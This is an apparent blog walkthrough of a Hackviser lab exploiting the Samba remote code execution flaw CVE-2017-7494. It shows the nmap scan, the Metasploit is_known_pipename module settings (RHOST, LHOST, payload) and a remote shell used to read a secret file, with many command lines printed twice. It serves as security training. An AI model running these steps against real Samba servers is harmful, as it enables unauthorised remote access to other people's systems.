May 14, 2026
Exploiting Samba RCE (CVE-2017–7494) | Hackviser Labs Walkthrough
Samba is one of the most commonly used services in Linux environments for file and printer sharing. Because of how widely it is deployed…
Manohar T H
3 min read
Samba is one of the most commonly used services in Linux environments for file and printer sharing. Because of how widely it is deployed, vulnerabilities in Samba can become extremely dangerous when exposed internally or externally.
In this Hackviser lab, the target was vulnerable to CVE-2017–7494, a remote code execution vulnerability affecting Samba versions between 3.5.0 and 4.6.4. The objective was simple: gain access to the target machine and retrieve the contents of /secret.txt.
This walkthrough follows the exact investigation process I used while solving the lab, including the observations, payload choices, and why certain steps were taken during exploitation.
Initial Recon
As usual, I started with a full Nmap scan against the target.
nmap -p- -A -sV 172.20.19.172nmap -p- -A -sV 172.20.19.172Why these flags?
-p-→ scan all 65535 ports-A→ enable OS detection, scripts, and traceroute-sV→ detect service versions
The scan returned:
At this point, port 445 immediately stood out.
That immediately stood out because the lab description itself mentioned a vulnerable Samba range that includes version 4.6.3.
So instead of spending time enumerating SSH or looking for weak credentials, I shifted directly toward Samba exploitation.
Searching for a Samba Exploit in Metasploit
Since this vulnerability is well-known and already has public exploit modules available, I decided to use Metasploit first before attempting any manual exploitation.
I launched Metasploit:
msfconsolemsfconsoleThen searched for Samba-related exploits:
search type:exploit sambasearch type:exploit sambaThis returned several Samba modules.
After checking the results, the module matching this vulnerability was:
exploit/linux/samba/is_known_pipenameexploit/linux/samba/is_known_pipename
This module specifically targets the vulnerable Samba pipe handling issue related to CVE-2017–7494.
The module name looks a little unusual at first, but this exploit abuses how vulnerable Samba versions handle named pipes and shared libraries, eventually leading to remote code execution.
Selecting the Exploit Module
I loaded the exploit using:
use exploit/linux/samba/is_known_pipenameuse exploit/linux/samba/is_known_pipenameBefore blindly setting values, I checked the required configuration options.
show optionsshow optionsThis is an important habit during exploitation because every Metasploit module expects slightly different parameters.
The main options required here were:
RHOSTLHOSTpayload
Configuring the Exploit
What is RHOST?
RHOST means Remote Host.
This is simply the target machine we want to attack.
set RHOST 172.20.19.172set RHOST 172.20.19.172What is LHOST?
LHOST means **Local Host(**my own attacking machine IP).
This tells the payload where to connect back after successful exploitation. In reverse shell scenarios, the victim machine needs to know where the attacker is listening.
set LHOST 172.20.19.53set LHOST 172.20.19.53Checking Payloads
I checked available payloads using:
show payloadsshow payloadsInterestingly, this module only exposed one payload option:
payload/cmd/unix/interactpayload/cmd/unix/interactSo I kept the default payload and configured it explicitly anyway:
set payload payload/cmd/unix/interactset payload payload/cmd/unix/interact
Why this payload?
This payload gives an interactive Unix command shell directly after exploitation. Since the goal of the lab was simply to retrieve a file from the system, a lightweight command shell was more than enough.
No need for Meterpreter or anything more advanced here.
Running the Exploit
Once everything was configured, I launched the exploit.
runrunAfter a few seconds, Metasploit returned:
That message confirmed the exploit worked successfully and an interactive shell session was opened on the target machine.
At this stage, we essentially had remote command execution on the vulnerable Samba server.
Enumerating the Target
First thing I checked was the current working directory:
pwdpwdOutput:
/tmp/tmpPretty normal for temporary exploit execution.
I moved one directory back and listed files:
cd ..
lscd ..
lsWhile checking the directory contents, I noticed:
secret.txtsecret.txtThat was the target file mentioned in the lab objective.
So I simply read its contents using:
cat secret.txtcat secret.txt
The file contained the required secret value for the challenge.
Final Thoughts
This lab was a straightforward example of how dangerous exposed Samba services can become when vulnerable versions are running internally or externally.
A few things stood out during the process:
- The Nmap version detection saved a lot of time
- Matching the Samba version directly against the CVE description quickly narrowed the attack path
- Using
show optionsandshow payloadshelped avoid misconfigurations during exploitation - The default payload was enough because the objective only required command execution and file access
One small thing I noticed while solving the lab was how easy it is to accidentally choose the wrong Metasploit module when multiple Samba exploits appear in search results. Taking a moment to verify the affected version range prevents wasting time debugging failed exploit attempts.